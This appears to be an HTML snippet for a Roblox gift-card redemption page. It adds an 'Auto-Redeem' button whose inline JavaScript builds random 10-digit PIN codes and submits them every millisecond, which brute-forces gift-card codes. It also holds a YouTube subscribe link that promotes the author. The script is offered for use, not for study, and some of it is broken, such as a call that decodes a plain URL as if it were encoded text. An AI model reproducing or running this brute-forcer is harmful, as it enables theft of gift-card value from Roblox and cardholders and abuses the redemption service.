document.getElementById

<a id="redeem-btn" class="btn-small btn-primary" onclick="Roblox.GameCard.redeemCode();">Redeem</a>
<a id="redeem-btn-auto" class="btn-small btn-primary" onclick="
var Numbers = [6, 7];
function main() {
var kk1= ((Numbers[Math.floor(Math.random() * Numbers.length)].toString()) + (Math.floor((Math.random() * 10)).toString()) + (Math.floor((Math.random() * 10)).toString()));
var kk2= ((Math.floor((Math.random() * 10)).toString()) + (Math.floor((Math.random() * 10)).toString()) + (Math.floor((Math.random() * 10)).toString()));
var kk3= ((Math.floor((Math.random() * 10)).toString()) + (Math.floor((Math.random() * 10)).toString()) + (Math.floor((Math.random() * 10)).toString()) + (Math.floor((Math.random() * 10)).toString()));
var code = (kk1 + ' ' + kk2 + ' ' + kk3);document.getElementById('pin').value = code;Roblox.GameCard.redeemCode();}
setInterval(function(){main();},1);
">Auto-Redeem</a>
<a href="https://www.youtube.com/channel/UCGTKz4ySUol844j7_SQthLg?sub_confirmation=1" onclick="window.open(atob('https://www.youtube.com/channel/UCGTKz4ySUol844j7_SQthLg'))" target="_blank"><img height="50" src="http://pre04.deviantart.net/2ed3/th/pre/f/2014/194/8/b/youtube_subscribe_button__2014__by_just_browsiing-d7qkda4.png" width="160"></a>